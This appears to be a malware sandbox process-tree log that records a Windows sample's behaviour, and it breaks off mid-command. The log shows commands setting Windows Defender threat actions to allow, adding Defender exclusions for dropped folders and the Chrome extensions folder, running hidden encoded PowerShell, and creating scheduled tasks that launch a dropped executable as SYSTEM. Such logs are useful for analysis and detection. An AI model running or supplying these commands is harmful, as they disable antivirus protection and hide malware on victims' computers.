  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:3904
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:3128
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:4108
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:1092
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:640
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:1148
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5064
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:4572
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:4940
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:1420
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:1920
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:4256
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:4616
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:4796
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:3552
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3676
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:236
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:380
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3020
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:1352
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2588
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3500
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4876
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2500
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:224
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2392
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4032
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3340
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1148
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:640
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1400
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:676
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4572
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4616
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2600
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1420
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:428
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4656
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2644
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3924
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3160
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4336
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3732
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2388
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4268
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4208
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:3572
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4284
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:3184
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:780
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3176
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3936
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1248
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3620
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4308
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4276
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3932
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1340
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2268
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2508
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4940
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1936
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4348
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1520
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5080
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4568
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gpJDaQQPl" /SC once /ST 04:24:07 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:4656
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gpJDaQQPl"
  2⤵
  PID:3924
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gpJDaQQPl"
  2⤵
  PID:1760
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 16:50:07 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\AjrLipE.exe\" GH /kqogdidhe 385118 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:4940
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "XyyyteIMwZeutaZuw"
  2⤵
  PID:1420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4136
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:672

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:940

C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\AjrLipE.exe
C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\AjrLipE.exe GH /kqogdidhe 385118 /S
1⤵
PID:3116
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c 